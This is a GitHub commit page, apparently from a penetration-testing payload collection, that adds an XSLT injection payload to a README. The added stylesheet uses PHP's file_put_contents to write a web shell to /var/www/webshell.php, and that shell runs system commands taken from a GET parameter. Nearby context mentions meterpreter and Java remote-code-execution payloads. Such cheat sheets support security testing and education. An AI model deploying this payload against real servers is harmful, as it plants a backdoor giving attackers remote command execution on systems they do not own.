Skip to content

Commit

Permalink
Merge pull request #690 from idealphase/master
Browse files Browse the repository at this point in the history
Update README.md (XSLT Injection)
  • Loading branch information
swisskyrepo authored Oct 28, 2023
2 parents 07cf283 + 85310ba commit 85871c6
Showing 1 changed file with 11 additions and 1 deletion.
12 changes: 11 additions & 1 deletion XSLT Injection/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -161,6 +161,16 @@ Execute a PHP meterpreter using PHP wrapper.
</xsl:stylesheet>
```

Execute a remote php file using `file_put_contents`

```xml
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="php:function('file_put_contents','/var/www/webshell.php','&lt;?php echo system($_GET[&quot;command&quot;]); ?&gt;')" />
</xsl:template>
</xsl:stylesheet>
```

### Remote Code Execution with Java

```xml
Expand Down Expand Up @@ -214,4 +224,4 @@ Execute a PHP meterpreter using PHP wrapper.

* [From XSLT code execution to Meterpreter shells - 02 July 2012 - @agarri](https://www.agarri.fr/blog/archives/2012/07/02/from_xslt_code_execution_to_meterpreter_shells/index.html)
* [XSLT Injection - Fortify](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection)
* [XSLT Injection Basics - Saxon](https://blog.hunniccyber.com/ektron-cms-remote-code-execution-xslt-transform-injection-java/)
* [XSLT Injection Basics - Saxon](https://blog.hunniccyber.com/ektron-cms-remote-code-execution-xslt-transform-injection-java/)

0 comments on commit 85871c6

Please sign in to comment.